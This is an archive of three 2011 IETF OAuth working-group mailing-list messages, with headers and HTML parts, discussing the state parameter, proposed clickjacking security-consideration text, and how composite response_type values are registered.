--bcaec51a763a0502d604a881c824-- From breno.demedeiros@gmail.com Wed Jul 20 08:24:34 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CA71121F8A64 for ; Wed, 20 Jul 2011 08:24:34 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id FTND5RP08BQj for ; Wed, 20 Jul 2011 08:24:34 -0700 (PDT) Received: from mail-pv0-f172.google.com (mail-pv0-f172.google.com [74.125.83.172]) by ietfa.amsl.com (Postfix) with ESMTP id 4731F21F8A35 for ; Wed, 20 Jul 2011 08:24:34 -0700 (PDT) Received: by pvh18 with SMTP id 18so400562pvh.31 for ; Wed, 20 Jul 2011 08:24:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=bcd0AYjC24kcGteWqiP1QAqVNwE5hJnqRzzHMcRjTYk=; b=H8Nl6P5lyayW9eA1434hYUEjQVRkIcHf4eZA5cvBsExhfemGDTlOx5hUvO4avhE0eu 9jXRwImR3NOzzdO55w0tFXejViM1szVXSIXp7fUfu8uertLVm4vA5sRcgehsSrFKKZEa WR8TotOQpDN5joolJY8bSt/OixEt8yAizrmUI= MIME-Version: 1.0 Received: by 10.68.42.197 with SMTP id q5mr4862706pbl.191.1311175471980; Wed, 20 Jul 2011 08:24:31 -0700 (PDT) Received: by 10.68.42.41 with HTTP; Wed, 20 Jul 2011 08:24:31 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 08:24:31 -0700 Message-ID: From: Breno To: Eran Hammer-Lahav Content-Type: multipart/alternative; boundary=bcaec544ec7c3edefe04a881d413 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 15:24:34 -0000 --bcaec544ec7c3edefe04a881d413 Content-Type: text/plain; charset=ISO-8859-1 On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav wrote: > > > > -----Original Message----- > > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Eliot Lear > > Sent: Sunday, July 17, 2011 2:49 AM > > > One other point: if the redirection_uri can have fragments and can be > > provided, why is state necessary? > > First, I assume you mean query instead of fragment. > > This was discussed on the list about a year ago. There isn't a requirement > to support both dynamic redirection URIs as well as a special state > parameter. However, the state parameter provides a better way to allow > customization of the redirection request alongside full registration of the > redirection URI. Section 3.1.2 recommends using the state parameter over > changing the redirection URI itself. > > Using state is much simpler because the authorization server does not have > to implement potentially insecure URI comparison algorithms for dynamic > redirection URIs. > Agree -- for instance, Google's provider doesn't allow arbitrary dynamic specification of query or fragment parameters in redirect URIs, for instance, due largely to security considerations. > > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > -- Breno de Medeiros --bcaec544ec7c3edefe04a881d413 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

On Mon, Jul 18, 2011 at 11:32 PM, Eran H= ammer-Lahav <er= an@hueniverse.com> wrote:


> -----Original Message-----
> From: oauth-bounces@ietf.org= [mailto:oauth-bounces@ietf.o= rg] On Behalf Of Eliot Lear
> Sent: Sunday, July 17, 2011 2:49 AM

> One other point: if the redirection_uri can have fragments and can be<= br> > provided, why is state necessary?

First, I assume you mean query instead of fragment.

This was discussed on the list about a year ago. There isn't a requirem= ent to support both dynamic redirection URIs as well as a special state par= ameter. However, the state parameter provides a better way to allow customi= zation of the redirection request alongside full registration of the redire= ction URI. Section 3.1.2 recommends using the state parameter over changing= the redirection URI itself.

Using state is much simpler because the authorization server does not have = to implement potentially insecure URI comparison algorithms for dynamic red= irection URIs.

Agree -- for instance, G= oogle's provider doesn't allow arbitrary dynamic specification of q= uery or fragment parameters in redirect URIs, for instance, due largely to = security considerations.
=A0

EHL
__________________________________= _____________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



--
Breno de Me= deiros

--bcaec544ec7c3edefe04a881d413-- From breno.demedeiros@gmail.com Wed Jul 20 08:31:47 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 24CE921F8915 for ; Wed, 20 Jul 2011 08:31:47 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id x36EnczkkRwb for ; Wed, 20 Jul 2011 08:31:46 -0700 (PDT) Received: from mail-pv0-f172.google.com (mail-pv0-f172.google.com [74.125.83.172]) by ietfa.amsl.com (Postfix) with ESMTP id 484B621F874F for ; Wed, 20 Jul 2011 08:31:46 -0700 (PDT) Received: by pvh18 with SMTP id 18so407582pvh.31 for ; Wed, 20 Jul 2011 08:31:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=sz6YdRbf5UzvZdwYzCHxltRcSyoAEF6pFSaTadMLWXQ=; b=snfx2FMd4voxzRfyXnnnonDC9Y4o2KssT6msq0/qB0UE6jf4PV8RtiterUj61tDlwc lKbxh9t+iSxGcH8QmwpSeCG7avD4aLfEZ2O913QivV8bnOrlM3h9P7/v0ULXTWIYTog6 uaNOLgNnw5Ue7x2F99zgAcJtHKANMulJpWu28= MIME-Version: 1.0 Received: by 10.68.42.197 with SMTP id q5mr4871326pbl.191.1311175905832; Wed, 20 Jul 2011 08:31:45 -0700 (PDT) Received: by 10.68.42.41 with HTTP; Wed, 20 Jul 2011 08:31:45 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF89@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF89@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 08:31:45 -0700 Message-ID: From: Breno To: Eran Hammer-Lahav Content-Type: multipart/alternative; boundary=bcaec544ec7c1aed0104a881ee9c Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 15:31:47 -0000 --bcaec544ec7c1aed0104a881ee9c Content-Type: text/plain; charset=ISO-8859-1 On Thu, Jul 7, 2011 at 11:35 PM, Eran Hammer-Lahav wrote: > Can this be reworked to discuss the authorization endpoint specifically? > The use of 'target' site is confusing. This section needs to be much more > specific to the authorization process. > Just chiming in to say that I am happy this language is being added. The currently proposed text is good starting point, and I agree with Eran's last recommendation. > > EHL > > > -----Original Message----- > > From: Mark Mcgloin [mailto:mark.mcgloin@ie.ibm.com] > > Sent: Wednesday, July 06, 2011 8:56 AM > > To: Eran Hammer-Lahav > > Cc: oauth@ietf.org; Torsten Lodderstedt > > Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions > > > > > > > > Clickjacking > > Clickjacking is the process of tricking users into revealing confidential > > information or taking control of their computer while clicking on > seemingly > > innocuous web pages. In more detail, a malicious site loads the target > site in a > > transparent iframe overlaid on top of a set of dummy buttons which are > > carefully constructed to be placed directly under important buttons on > the > > target site. When a user clicks a visible button, they are actually > clicking a > > button (such as an "Authorize" button) on the hidden page. > > To prevent clickjacking (and phishing attacks), native applications > SHOULD > > use external browsers instead of embedding browsers in an iFrame when > > requesting end-user authorization. For newer browsers, avoidance of > > iFrames can be enforced server side by using the X-FRAME-OPTION header. > > This header can have two values, deny and sameorigin, which will block > any > > framing or framing by sites with a different origin, respectively. For > older > > browsers, javascript framebusting techniques can be used but may not be > > effective in all browsers. > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > -- Breno de Medeiros --bcaec544ec7c1aed0104a881ee9c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

On Thu, Jul 7, 2011 at 11:35 PM, Eran Ha= mmer-Lahav <era= n@hueniverse.com> wrote:
Can this be reworked to discuss the authorization endpoint specifically? Th= e use of 'target' site is confusing. This section needs to be much = more specific to the authorization process.

Just chiming in to say that I am happy this language is being added. T= he currently proposed text is good starting point, and I agree with Eran= 9;s last recommendation.
=A0

EHL

> -----Original Message-----
> From: Mark Mcgloin [mailto:= mark.mcgloin@ie.ibm.com]
> Sent: Wednesday, July 06, 2011 8:56 AM
> To: Eran Hammer-Lahav
> Cc: oauth@ietf.org; Torsten Lodd= erstedt
> Subject: Re: [OAUTH-WG] Draft 16 Security Cons= iderations additions
>
>
>
> Clickjacking
> Clickjacking is the process of tricking users into revealing confident= ial
> information or taking control of their computer while clicking on seem= ingly
> innocuous web pages. In more detail, a malicious site loads the target= site in a
> transparent iframe overlaid on top of a set of dummy buttons which are=
> carefully constructed to be placed directly under important buttons on= the
> target site. When a user clicks a visible button, they are actually cl= icking a
> button (such as an "Authorize" button) on the hidden page. > To prevent clickjacking (and phishing attacks), native applications SH= OULD
> use external browsers instead of embedding browsers in an iFrame when<= br> > requesting end-user authorization. For newer browsers, avoidance of > iFrames can be enforced server side by using the X-FRAME-OPTION header= .
> This header can have two values, deny and sameorigin, which will block= any
> framing or framing by sites with a different origin, respectively. For= older
> browsers, javascript framebusting techniques can be used but may not b= e
> effective in all browsers.

___________________________________= ____________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



--
Breno de Me= deiros

--bcaec544ec7c1aed0104a881ee9c-- From eran@hueniverse.com Wed Jul 20 08:43:26 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2441421F86C0 for ; Wed, 20 Jul 2011 08:43:26 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.283 X-Spam-Level: X-Spam-Status: No, score=-2.283 tagged_above=-999 required=5 tests=[AWL=-0.285, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id agpBV8ryRScY for ; Wed, 20 Jul 2011 08:43:22 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id B76A521F85E2 for ; Wed, 20 Jul 2011 08:43:22 -0700 (PDT) Received: (qmail 19031 invoked from network); 20 Jul 2011 15:43:22 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 20 Jul 2011 15:43:22 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 20 Jul 2011 08:43:21 -0700 From: Eran Hammer-Lahav To: Breno , Paul Tarjan Date: Wed, 20 Jul 2011 08:42:52 -0700 Thread-Topic: [OAUTH-WG] defining new response types Thread-Index: AcxG7JL4UZ85FBDUTUixjGT3JfUK7QABeBvQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345020652C8A@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345020652C8AP3PW5EX1MB01E_" MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 15:43:26 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E72345020652C8AP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable If you don't register the combination, how would anyone know (aside from re= ading every service specific documentation) what the combination means. As = clearly stated in your own list, at a minimum, the location of the credenti= als is not obvious and must be defined. We had a long discussion on this li= st about the correct implementation of "token code" as one example. The cost of registration is VERY low. You don't need an RFC to do it. You j= ust need to publish a specification defining the response type and make it = available somewhere stable. For example, on a Google official blog or docum= entation site, or on the OpenID Foundation site (your personal blog isn't i= deal but can also sometime work). Once published, you send an email to the = extension list and ask for registration. The template takes no time at all = (requested name, your name or your company/organization name, and the locat= ion of the specification). You might get some feedback from the designated = expert (e.g. if you try to register 'token_and_code' they might suggest cha= nging it to 'token code' or if you try to register 'send_nothing' they will= suggest 'none', etc.). Really the only requirement is that you write a short specification definin= g the combination. If you maintain a public web page with all the combinati= on you defined, you can keep adding those there instead of writing new spec= ification for each new one, as long as you keep the registered values uncha= nged once registered. So the cost is really insignificant, but the benefit of clarity and interop= is significant. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of B= reno Sent: Wednesday, July 20, 2011 7:52 AM To: Paul Tarjan Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types Comments inline. On Tue, Jul 12, 2011 at 8:23 PM, Paul Tarjan > = wrote: I like splitting on space like scopes. But I'm fine with registering all possible compositions that make sense, if you prefer. I agree with Marius that registering the combinations are not useful, howev= er also agree with Paul that it's not a show stopper. As I posted to the group about a month ago, we are planning on supporting response_type=3Dnone response_type=3Dcode response_type=3Dtoken response_type=3Dsigned_request token response_type=3Dtoken signed_request (and maybe "code token"/"token code") Google is planning to support the following combinations: response_type=3Dnode response_type=3Did_token response_type=3Dcode response_type=3Dtoken response_type=3Dcode token (in either order, fragment-encoded response) response_type=3Dcode id_token (in either order, query-encoded response) response_type=3Dtoken id_token (in either order, fragment-encoded response) response_type=3Dcode token id_token (in any possible order, fragment-encode= d response) We already have support for response_type=3Dnone and the signed_request one is a few weeks out. Paul On 7/12/11 1:35 PM, "Eran Hammer-Lahav" > wrote: >I will withdraw my objections to the change (parsing the response_type >string) if enough support is present. If you care about it, please speak >out now. > >EHL > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oaut= h-bounces@ietf.org] On Behalf >> Of Mike Jones >> Sent: Tuesday, July 12, 2011 1:32 PM >> To: OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >> >> As a data point motivating this functionality, the OpenID Connect Core >>spec >> currently includes: >> >> response_type >> A space delimited, case sensitive list of string >> values (Pending OAuth 2.0 changes). Acceptable values include >> "code", "token", and "none". The value MUST include "code" for >> requesting an Authorization Code, "token" for requesting an Access >> Token, and "none" if no response is needed. >> >> The OpenID Connect Session Management spec also defines an "id_token" >> response_type. Combinations of these (other than "none") are meaningful >> and used. >> >> The syntax for this can change, but this functionality is very >>important to >> OpenID Connect as it is currently written. >> >> Thanks, >> -- Mike >> >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oaut= h-bounces@ietf.org] On Behalf >> Of Breno de Medeiros >> Sent: Tuesday, July 12, 2011 11:48 AM >> To: Eran Hammer-Lahav >> Cc: OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >> >> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav > >> wrote: >> > That's pretty farfetched. In previous versions we had 'code_and_token' >> which was a composite value but without any special characters. If >>people >> think that we need to force such values to avoid this claimed developer >> confusion, let's drop the + and be done. >> > >> >> Maybe far fetched, but it's already available in our production >>environment -- >> we had implemented the code_and_token approach earlier (though not >> documented it) but abandoned that route as we thought the exponential >> explosion was harmful when we started contemplating adding new types >> and allowing various combinations of them. >> >> > The only requirement I was asked to cover was to allow response type >> extensibility. If there is WG consensus to also support the requirement >>of >> composite values using any order, we can discuss that. >> >> Let's. >> >> > >> > In addition, defining a parsing method adds a significant amount of >>new >> complexity beyond just splitting the string: >> > >> > * It allows for composite values that make no sense (since anything >>goes, >> composite values are not registered, just the components). >> > * Additional error codes are needed to indicate bad format, >>unsupported >> values (specify which one), unsupported combinations, etc. >> > * Developers lose the benefit of a simple registry with every possible >> combination they may choose. >> > >> > So the two questions are: >> > >> > 1. Do you find the + proposal as defined in -18 to be useful or >>confusing? >> >> It is ugly. >> >> > 2. Should the protocol support dynamic composite values with the added >> complexity (breaking change)? >> >> That's my preference. >> >> > >> > EHL >> > >> >> -----Original Message----- >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> Sent: Tuesday, July 12, 2011 11:18 AM >> >> To: Eran Hammer-Lahav >> >> Cc: Marius Scurtescu; OAuth WG >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav >> >> > >> >> wrote: >> >> > Requiring parsing of the response type parameter is a big change at >> >> > this >> >> point. Even if it is a decent idea, I'm against it for the sole >> >> reason that I don't want to introduce such a change - we're done. >> >> > >> >> > The + character makes reading values easier because it give >> >> > composites of >> >> existing, individually defined values, a special meaning to *people*, >> >> but it does not change any existing code or adds any work. Servers >> >> will still perform simple string comparison. Parsing a list of >>values is >> unnecessary complexity. >> >> Developers can learn to put values in their expected order (since >> >> they are all going to cut-n-paste anyway). >> >> >> >> I disagree. I believe that servers will either not support the >> >> composite types at all, or will allow developers to enter it into any >> >> order to avoid developer pain. >> >> >> >> Also, developers will _not_ cut-and-paste. They will expect the fact >> >> that order is not meaningful by interacting with providers that don't >> >> perform exact string matching and then have interoperability issues >> >> with compliant implementations. >> >> >> >> > >> >> > I rather drop the special character then add parsing, but I think >> >> > it is a useful >> >> *convention*. >> >> > >> >> > Do people want to keep it or drop it? >> >> > >> >> > EHL >> >> > >> >> > >> >> >> -----Original Message----- >> >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> >> Sent: Tuesday, July 12, 2011 10:59 AM >> >> >> To: Eran Hammer-Lahav >> >> >> Cc: Marius Scurtescu; OAuth WG >> >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> >> >> Imposing order and exact string matching on response_type's while >> >> >> simultaneously supporting a special character '+' and introducing >> >> >> the concept of composite response_type is a poor compromise, >> IMNSHO. >> >> What >> >> >> is the rationale to fear allowing multiple-valued response_type as >> >> >> we have for other parameters in the spec? >> >> >> >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav >> >> >> > >> >> >> wrote: >> >> >> > As for the plus encoding we can choose another char or give an >> >> example. >> >> >> > >> >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" >> >> >> > > >> >> >> wrote: >> >> >> > >> >> >> >> If I read section 8.4 correctly it seems that new response >> >> >> >> types can be defined but composite values must be registered >> explicitly. >> >> >> >> >> >> >> >> I don't think this approach scales too well. OpenID Connect for >> >> >> >> example is adding a new response type: id_token. >> >> >> >> >> >> >> >> id_token can be combined with either code or token and >> >> >> >> potentially with both of them, the following combinations must >> >> >> >> be registered as a >> >> >> >> result: >> >> >> >> code+id_token >> >> >> >> token+id_token >> >> >> >> code+token+id_token >> >> >> >> >> >> >> >> and this assumes that code+token is already registered. >> >> >> >> >> >> >> >> I think it makes more sense to define response_type as a space >> >> >> >> separated list of items, where each item can be individually >> >> >> >> registered. I do realize that this complicates things quite a >> >> >> >> bit (not we have to define and deal with both composite >> >> >> >> response_type and the individual items). >> >> >> >> >> >> >> >> As a side note, using + as separator could cause lots of >>problems. >> >> >> >> If people naively type "code+toke" it will be decoded as "code >> token". >> >> >> >> No one will remember the hex code for +. >> >> >> >> >> >> >> >> Marius >> >> >> >> _______________________________________________ >> >> >> >> OAuth mailing list >> >> >> >> OAuth@ietf.org >> >> >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> >> > >> >> >> >> >> >> >> >> >> >> >> >> -- >> >> >> --Breno >> >> > >> >> >> >> >> >> >> >> -- >> >> --Breno >> > >> >> >> >> -- >> --Breno >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >_______________________________________________ >OAuth mailing list >OAuth@ietf.org >https://www.ietf.org/mailman/listinfo/oauth _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth -- Breno de Medeiros --_000_90C41DD21FB7C64BB94121FBBC2E72345020652C8AP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

If you do= n’t register the combination, how would anyone know (aside from readi= ng every service specific documentation) what the combination means. As cle= arly stated in your own list, at a minimum, the location of the credentials= is not obvious and must be defined. We had a long discussion on this list = about the correct implementation of “token code” as one example= .

 =

The cost of registration is VERY low. You d= on’t need an RFC to do it. You just need to publish a specification d= efining the response type and make it available somewhere stable. For examp= le, on a Google official blog or documentation site, or on the OpenID Found= ation site (your personal blog isn’t ideal but can also sometime work= ). Once published, you send an email to the extension list and ask for regi= stration. The template takes no time at all (requested name, your name or y= our company/organization name, and the location of the specification). You = might get some feedback from the designated expert (e.g. if you try to regi= ster ‘token_and_code’ they might suggest changing it to ‘= token code’ or if you try to register ‘send_nothing’ they= will suggest ‘none’, etc.).

 

Real= ly the only requirement is that you write a short specification defining th= e combination. If you maintain a public web page with all the combination y= ou defined, you can keep adding those there instead of writing new specific= ation for each new one, as long as you keep the registered values unchanged= once registered.

&nb= sp;

So the cost is really insig= nificant, but the benefit of clarity and interop is significant.=

 

EHL

 

 

From: oauth-bounces@ietf.org= [mailto:oauth-bounces@ietf.org] On Behalf Of Breno
Sent: = Wednesday, July 20, 2011 7:52 AM
To: Paul Tarjan
Cc: OA= uth WG
Subject: Re: [OAUTH-WG] defining new response types

 

 

Comments inline.

 

On Tue, Jul 12, 2011 a= t 8:23 PM, Paul Tarjan <pt@fb.com> w= rote:

I like splitting on space like sco= pes. But I'm fine with registering all
possible compositions that make s= ense, if you prefer.

 

I agree with Marius that registering= the combinations are not useful, however also agree with Paul that it's no= t a show stopper.

 =



As I posted to the gro= up about a month ago, we are planning on supporting

response_type=3D= none
response_type=3Dcode
response_type=3Dtoken
response_type=3Dsi= gned_request token
response_type=3Dtoken signed_request
(and maybe &q= uot;code token"/"token code")

 

Google is planning to support the following combinations:

 

response_type=3Dnode

= response_type=3Did_token

resp= onse_type=3Dcode

response_typ= e=3Dtoken

response_type=3Dcod= e token (in either order, fragment-encoded response)

response_type=3Dcode id_token (in either order, que= ry-encoded response)

response= _type=3Dtoken id_token (in either order, fragment-encoded response)

response_type=3Dcode token id_token = (in any possible order, fragment-encoded response)

 

=  

We already have support for response_type=3Dnone a= nd the signed_request one
is a few weeks out.

Paul


On 7/12/11 1:35 PM, "Eran Hammer-Lahav" <eran@hueniverse.com> wrote:

>I will wit= hdraw my objections to the change (parsing the response_type
>string)= if enough support is present. If you care about it, please speak
>ou= t now.
>
>EHL
>
>> -----Original Message----->> From: oauth-bounces@iet= f.org [mailto:oauth-bounces@i= etf.org] On Behalf
>> Of Mike Jones
>> Sent: Tuesday,= July 12, 2011 1:32 PM
>> To: OAuth WG
>> Subject: Re: [O= AUTH-WG] defining new response types
>>
>> As a data poin= t motivating this functionality, the OpenID Connect Core
>>spec>> currently includes:
>>
>>    response= _type
>>       A space delimited, case sensitive li= st of string
>>       values (Pending OAuth 2.0 cha= nges).  Acceptable values include
>>       &qu= ot;code", "token", and "none".  The value MUS= T include "code" for
>>       requesting = an Authorization Code, "token" for requesting an Access
>&g= t;       Token, and "none" if no response is neede= d.
>>
>> The OpenID Connect Session Management spec also = defines an "id_token"
>> response_type.  Combinatio= ns of these (other than "none") are meaningful
>> and us= ed.
>>
>> The syntax for this can change, but this functi= onality is very
>>important to
>> OpenID Connect as it is= currently written.
>>
>>         &nb= sp;       Thanks,
>>         &n= bsp;       -- Mike
>>
>> -----Original Mes= sage-----
>> From: oauth= -bounces@ietf.org [mailto:oau= th-bounces@ietf.org] On Behalf
>> Of Breno de Medeiros
>= > Sent: Tuesday, July 12, 2011 11:48 AM
>> To: Eran Hammer-Laha= v
>> Cc: OAuth WG
>> Subject: Re: [OAUTH-WG] defining new= response types
>>
>> On Tue, Jul 12, 2011 at 11:36, Eran= Hammer-Lahav <eran@hueniverse.co= m>
>> wrote:
>> > That's pretty farfetched. In = previous versions we had 'code_and_token'
>> which was a composite= value but without any special characters. If
>>people
>>= think that we need to force such values to avoid this claimed developer>> confusion, let's drop the + and be done.
>> >
>= >
>> Maybe far fetched, but it's already available in our produ= ction
>>environment --
>> we had implemented the code_and= _token approach earlier (though not
>> documented it) but abandone= d that route as we thought the exponential
>> explosion was harmfu= l when we started contemplating adding new types
>> and allowing v= arious combinations of them.
>>
>> > The only requirem= ent I was asked to cover was to allow response type
>> extensibili= ty. If there is WG consensus to also support the requirement
>>of<= br>>> composite values using any order, we can discuss that.
>&= gt;
>> Let's.
>>
>> >
>> > In add= ition, defining a parsing method adds a significant amount of
>>ne= w
>> complexity beyond just splitting the string:
>> >=
>> > * It allows for composite values that make no sense (sinc= e anything
>>goes,
>> composite values are not registered= , just the components).
>> > * Additional error codes are neede= d to indicate bad format,
>>unsupported
>> values (specif= y which one), unsupported combinations, etc.
>> > * Developers = lose the benefit of a simple registry with every possible
>> combi= nation they may choose.
>> >
>> > So the two questi= ons are:
>> >
>> > 1. Do you find the + proposal as= defined in -18 to be useful or
>>confusing?
>>
>&g= t; It is ugly.
>>
>> > 2. Should the protocol support = dynamic composite values with the added
>> complexity (breaking ch= ange)?
>>
>> That's my preference.
>>
>>= ; >
>> > EHL
>> >
>> >> -----Orig= inal Message-----
>> >> From: Breno de Medeiros [mailto:breno@google.com]
>> >> = Sent: Tuesday, July 12, 2011 11:18 AM
>> >> To: Eran Hammer-= Lahav
>> >> Cc: Marius Scurtescu; OAuth WG
>> >&= gt; Subject: Re: [OAUTH-WG] defining new response types
>> >>= ;
>> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav
= >> >> <eran@huenivers= e.com>
>> >> wrote:
>> >> > Requiri= ng parsing of the response type parameter is a big change at
>> &g= t;> > this
>> >> point. Even if it is a decent idea, I= 'm against it for the sole
>> >> reason that I don't want to= introduce such a change - we're done.
>> >> >
>>= ; >> > The + character makes reading values easier because it give=
>> >> > composites of
>> >> existing, ind= ividually defined values, a special meaning to *people*,
>> >&g= t; but it does not change any existing code or adds any work. Servers
&g= t;> >> will still perform simple string comparison. Parsing a list= of
>>values is
>> unnecessary complexity.
>> &g= t;> Developers can learn to put values in their expected order (since>> >> they are all going to cut-n-paste anyway).
>> &= gt;>
>> >> I disagree. I believe that servers will either= not support the
>> >> composite types at all, or will allow= developers to enter it into any
>> >> order to avoid develo= per pain.
>> >>
>> >> Also, developers will _= not_ cut-and-paste. They will expect the fact
>> >> that ord= er is not meaningful by interacting with providers that don't
>> &= gt;> perform exact string matching and then have interoperability issues=
>> >> with compliant implementations.
>> >><= br>>> >> >
>> >> > I rather drop the speci= al character then add parsing, but I think
>> >> > it is = a useful
>> >> *convention*.
>> >> >
&g= t;> >> > Do people want to keep it or drop it?
>> >= > >
>> >> > EHL
>> >> >
>&g= t; >> >
>> >> >> -----Original Message----->> >> >> From: Breno de Medeiros [mailto:breno@google.com]
>> >> >> S= ent: Tuesday, July 12, 2011 10:59 AM
>> >> >> To: Eran= Hammer-Lahav
>> >> >> Cc: Marius Scurtescu; OAuth WG<= br>>> >> >> Subject: Re: [OAUTH-WG] defining new response= types
>> >> >>
>> >> >> Imposing= order and exact string matching on response_type's while
>> >&= gt; >> simultaneously supporting a special character '+' and introduc= ing
>> >> >> the concept of composite response_type is= a poor compromise,
>> IMNSHO.
>> >> What
>&g= t; >> >> is the rationale to fear allowing multiple-valued resp= onse_type as
>> >> >> we have for other parameters in = the spec?
>> >> >>
>> >> >> On Mo= n, Jul 11, 2011 at 18:51, Eran Hammer-Lahav
>> >> >> &= lt;eran@hueniverse.com>
&g= t;> >> >> wrote:
>> >> >> > As for t= he plus encoding we can choose another char or give an
>> >>= example.
>> >> >> >
